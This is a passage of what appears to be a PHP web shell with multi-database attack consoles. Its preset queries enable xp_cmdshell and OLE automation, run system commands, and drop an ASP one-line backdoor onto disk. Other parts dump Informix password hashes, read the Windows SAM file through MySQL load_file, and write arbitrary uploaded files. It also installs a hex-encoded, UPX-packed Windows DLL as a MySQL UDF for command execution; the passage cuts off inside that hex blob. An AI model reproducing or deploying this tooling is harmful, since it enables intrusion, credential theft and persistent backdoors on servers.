				$msaction = isset($_POST['action']) ? $_POST['action'] : '';
				$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
				$msquery = stripslashes($msquery);
				print<<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
	Str = new Array(11);
	Str[0] = "";
	Str[1] = "select @@version;";
	Str[2] = "select name from sysdatabases;";
	Str[3] = "select name from sysobject where type='U';";
	Str[4] = "select name from syscolumns where id=Object_Id('table_name');";
	Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
	Str[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
	Str[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
	Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
	Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
	Str[10] = "Exec master.dbo.xp_cmdshell 'net user';";
	Str[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
	Str[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
	msform.mssql.value = Str[i];
	return true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
	<option value="0" selected></option>
	<option value="1"></option>
	<option value="2"></option>
	<option value="3"></option>
	<option value="4"></option>
	<option value="5">sp_oacreate</option>
	<option value="6">xp_cmdshell</option>
	<option value="7">xp_cmdshell(2005)</option>
	<option value="8">sp_oacreate(2005)</option>
	<option value="9">openrowset(2005)</option>
	<option value="10">xp_cmdshell exec</option>
	<option value="10">sp_oamethod exec</option>
	<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
				if ($msaction == 'msquery'){
					$msconn= mssql_connect ($mshost , $msuser, $mspass);
					mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message());
					$msresult = mssql_query($msquery) or die(mssql_get_last_message());
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
					for ($i=0; $i<mssql_num_fields($msresult); $i++)
					{echo '<td><b>'.mssql_field_name($msresult, $i)."</b></td>\n";}
					echo "</tr>\n";
					mssql_data_seek($result, 0);
					while ($msrow=mssql_fetch_row($msresult))
					{
						echo "<tr>\n";
						for ($i=0; $i<mssql_num_fields($msresult); $i++ )
						{echo '<td>'."$msrow[$i]".'</td>';}
						echo "</tr>\n";
					}
					echo "</table></font>";
					mssql_free_result($msresult);
					mssql_close();
				}
			}
			elseif ($db=="ora"){
				$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
				$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
				$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root';
				$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456';
				$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
				$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
				$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
				$oraquery = stripslashes($oraquery);
				print<<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
	Str[0] = "";
	Str[1] = "select version();";
	Str[2] = "SELECT NAME FROM V$DATABASE";
	Str[3] = "select * From all_objects where object_type='TABLE'";
	Str[4] = "select column_name from user_tab_columns where table_name='table1'";
	oraform.orasql.value = Str[i];
	return true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
	<option value="0" selected></option>
	<option value="1"></option>
	<option value="2"></option>
	<option value="3"></option>
	<option value="4"></option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
				if($oraaction == 'oraquery'){
					$oralink=OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror());
					$oraresult=ociparse($oralink,$oraquery) or die(ocierror());
					$orarow=oci_fetch_row($oraresult);
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
					for ($i=0; $i<oci_num_fields($oraresult); $i++)
					{echo '<td><b>'.oci_field_name($oraresult, $i)."</b></td>\n";}
					echo "</tr>\n";
					ociresult($oraresult, 0);
					while ($orarow=ora_fetch_row($oraresult))
					{
						echo "<tr>\n";
						for ($i=0; $i<ora_num_fields($result); $i++ )
						{echo '<td>'."$orarow[$i]".'</td>';}
						echo "</tr>\n";
					}
					echo "</table></font>";
					oci_free_statement($oraresult);
					ocilogoff();
				}
			}
			elseif ($db == "ifx"){
				$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root';
				$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456';
				$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
				$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
				$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
				$ifxquery = stripslashes($ifxquery);
				print<<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
	Str[0] = "";
	Str[1] = "select dbservername from sysobjects;";
	Str[2] = "select name from sysdatabases;";
	Str[3] = "select tabname from systables;";
	Str[4] = "select colname from syscolumns where tabid=n;";
	Str[5] = "select username,usertype,password from sysusers;";
	ifxform.ifxsql.value = Str[i];
	return true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
	<option value="0" selected></option>
	<option value="1"></option>
	<option value="1"></option>
	<option value="2"></option>
	<option value="3"></option>
	<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
				if($ifxaction == 'ifxquery'){
					$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
					$ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg());
					$ifxrow=ifx_fetch_row($ifxresult);
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
					for($i=0; $i<ifx_num_fields($ifxresult); $i++)
					{echo '<td><b>'.ifx_fieldproperties($ifxresult)."</b></td>\n";}
					echo "</tr>\n";
					mysql_data_seek($ifxresult, 0);
					while ($ifxrow=ifx_fetch_row($ifxresult))
					{
						echo "<tr>\n";
						for ($i=0; $i<ifx_num_fields($ifxresult); $i++ )
						{echo '<td>'."$ifxrow[$i]".'</td>';}
						echo "</tr>\n";
					}
					echo "</table></font>";
					ifx_free_result($ifxresult);
					ifx_close();
				}
			}
			elseif ($db=="db2"){
				$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
				$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
				$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
				$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
				$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
				$db2action = isset($_POST['action']) ? $_POST['action'] : '';
				$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
				$db2query = stripslashes($db2query);
				print<<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
	Str[0] = "";
	Str[1] = "select schemaname from syscat.schemata;";
	Str[2] = "select name from sysibm.systables;";
	Str[3] = "select colname from syscat.columns where tabname='table_name';";
	Str[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
	<option value="0" selected></option>
	<option value="1"></option>
	<option value="1"></option>
	<option value="2"></option>
	<option value="3"></option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
				if ($myaction == 'db2query'){
					$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
					$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg());
					$db2row=db2_fetch_row($db2result);
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
					for ($i=0; $i<db2_num_fields($db2result); $i++)
					{echo '<td><b>'.db2_field_name($db2result)."</b></td>\n";}
					echo "</tr>\n";
					while ($db2row=db2_fetch_row($db2result))
					{
						echo "<tr>\n";
						for ($i=0; $i<db2_num_fields($db2result); $i++ )
						{echo '<td>'."$db2row[$i]".'</td>';}
						echo "</tr>\n";
					}
					echo "</table></font>";
					db2_free_result($db2result);
					db2_close();
				}
			}
			elseif($db == "fb") {
				$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
				$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
				$fbpath = str_replace("\\\\", "\\", $fbpath);
				$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba';
				$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey';
				$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
				$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
				$fbquery = stripslashes($fbquery);
				print<<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
	Str[0] = "";
	Str[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
	Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
	Str[3] = "input 'D:\\createtable.sql';";
	Str[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
	<option value="0" selected></option>
	<option value="1"></option>
	<option value="2"></option>
	<option value="3">sql</option>
	<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
				if($fbaction == 'fbquery'){
					$fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg());
					$fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg());
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
					for ($i=0; $i<ibase_num_fields($fbresult); $i++)
					{echo '<td><b>'.ibase_field_info($fbresult, $i)."</b></td>\n";}
					echo "</tr>\n";
					ibase_field_info($fbresult, 0);
					while ($fbrow=ibase_fetch_row($fbresult))
					{
						echo "<tr>\n";
						for ($i=0; $i<ibase_num_fields($fbresult); $i++ )
						{echo '<td>'."$fbrow[$i]".'</td>';}
						echo "</tr>\n";
					}
					echo "</table></font>";
					ibase_free_result($fbresult);
					ibase_close();
				}
			}
		}
		//MySql
		function Mysql_n()
		{
			$MSG_BOX = '';
			$mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();';
			if(isset($_POST['mhost']) && isset($_POST['muser']))
			{
				$mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport'];
				if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata);
				else $MSG_BOX = 'MYSQL';
			}
			$downfile = 'c:/windows/repair/sam';
			if(!empty($_POST['downfile']))
			{
				$downfile = File_Str($_POST['downfile']);
				$binpath = bin2hex($downfile);
				$query = 'select load_file(0x'.$binpath.')';
				if($result = @mysql_query($query,$conn))
				{
					$k = 0; $downcode = '';
					while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;}
					$filedown = basename($downfile);
					if(!$filedown) $filedown = 'silic.tmp';
					$array = explode('.', $filedown);
					$arrayend = array_pop($array);
					header('Content-type: application/x-'.$arrayend);
					header('Content-Disposition: attachment; filename='.$filedown);
					header('Content-Length: '.strlen($downcode));
					echo $downcode;
					exit;
				}
				else $MSG_BOX = '';
			}
			$o = isset($_GET['o']) ? $_GET['o'] : '';
			Root_CSS();
			print<<<END
<form method="POST" name="nform" id="nform" action="?s=n&o={$o}" enctype="multipart/form-data">
<center><div class="actall"><a href="?s=n">[MYSQL]</a>
<a href="?s=n&o=tq">[MYSQL]</a>
<a href="?s=n&o=tk">[MYSQL]</a>
<a href="?s=n&o=u">[MYSQL]</a>
<a href="?s=n&o=d">[MYSQL]</a></div>
<div class="actall">
 <input type="text" name="mhost" value="{$mhost}" style="width:110px">
 <input type="text" name="mport" value="{$mport}" style="width:110px">
 <input type="text" name="muser" value="{$muser}" style="width:110px">
 <input type="text" name="mpass" value="{$mpass}" style="width:110px">
 <input type="text" name="mdata" value="{$mdata}" style="width:110px">
</div>
<div class="actall" style="height:220px;">
END;
			if($o=='u')
			{
				$uppath = 'C:/Documents and Settings/All Users////exp.vbs';
				if(!empty($_POST['uppath']))
				{
					$uppath = $_POST['uppath'];
					$query = 'Create TABLE a (cmd text NOT NULL);';
					if(@mysql_query($query,$conn))
					{
						if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));}
						else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}}
						$query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));';
						if(@mysql_query($query,$conn))
						{
							$query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';';
							$MSG_BOX = @mysql_query($query,$conn) ? '' : '';
						}
						else $MSG_BOX = '';
						@mysql_query('Drop TABLE IF EXISTS a;',$conn);
					}
					else $MSG_BOX = '';
				}
				print<<<END
<br><br> <input type="text" name="uppath" value="{$uppath}" style="width:500px">
<br><br> <input type="file" name="upfile" style="width:500px;height:22px;">
</div><div class="actall"><input type="submit" value="" style="width:80px;">
END;
			}
			elseif($o=='d')
			{
				print<<<END
<br><br><br> <input type="text" name="downfile" value="{$downfile}" style="width:500px">
</div><div class="actall"><input type="submit" value="" style="width:80px;">
END;
			}elseif($o=='tk'){
				if($_POST['dump']=='dump'){
					$mysql_link=@mysql_connect($mhost,$muser,$mpass);
					mysql_select_db($mdata);
					mysql_query("SET NAMES gbk");
					$mysql="";
					$q1=mysql_query("show tables");
					while($t=mysql_fetch_array($q1)){
						$table=$t[0];
						$q2=mysql_query("show create table `$table`");
						$sql=mysql_fetch_array($q2);
						$mysql.=$sql['Create Table'].";\r\n\r\n";
						$q3=mysql_query("select * from `$table`");
						while($data=mysql_fetch_assoc($q3))
						{
							$keys=array_keys($data);
							$keys=array_map('addslashes',$keys);
							$keys=join('`,`',$keys);
							$keys="`".$keys."`";
							$vals=array_values($data);
							$vals=array_map('addslashes',$vals);
							$vals=join("','",$vals);
							$vals="'".$vals."'";
							$mysql.="insert into `$table`($keys) values($vals);\r\n";
						}
						$mysql.="\r\n";
					}
					$filename=date("Y-m-d-GisA").".sql";
					$fp=fopen($filename,'w');
					fputs($fp,$mysql);
					fclose($fp);
					$tip="<br><center>[<a href=\"".$filename."\" title=\"\">".$filename."</a>]</center>";
				}else{$tip="";}
				print<<<END
<div class="actall"><form method="post" action="?s=n&o=tk"><br>
 :-(<br><br>
{$tip}<br><br>
<input type="hidden" value="dump" name="dump" id="dump">
<input type="submit" value="" tilte="Submit" style="width:120px;height:64px;">
</form><div>
END;
				}elseif($o=='tq')
				{
					extract($_POST);
					extract($_GET);
					$post_sql = $post_sql ? $post_sql : "select state(\"net user\")";
					if($install){
						$link = mysql_connect ($mhost,$muser,$mpass) or die(mysql_error());
						mysql_select_db($mdata,$link) or die(mysql_error());
						@mysql_query("DROP TABLE udf_temp", $link);
						$query="CREATE TABLE udf_temp (udf BLOB);";
						if(!($result=mysql_query($query, $link)))
							die(''.mysql_error());
							else
							{
								$code="0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC5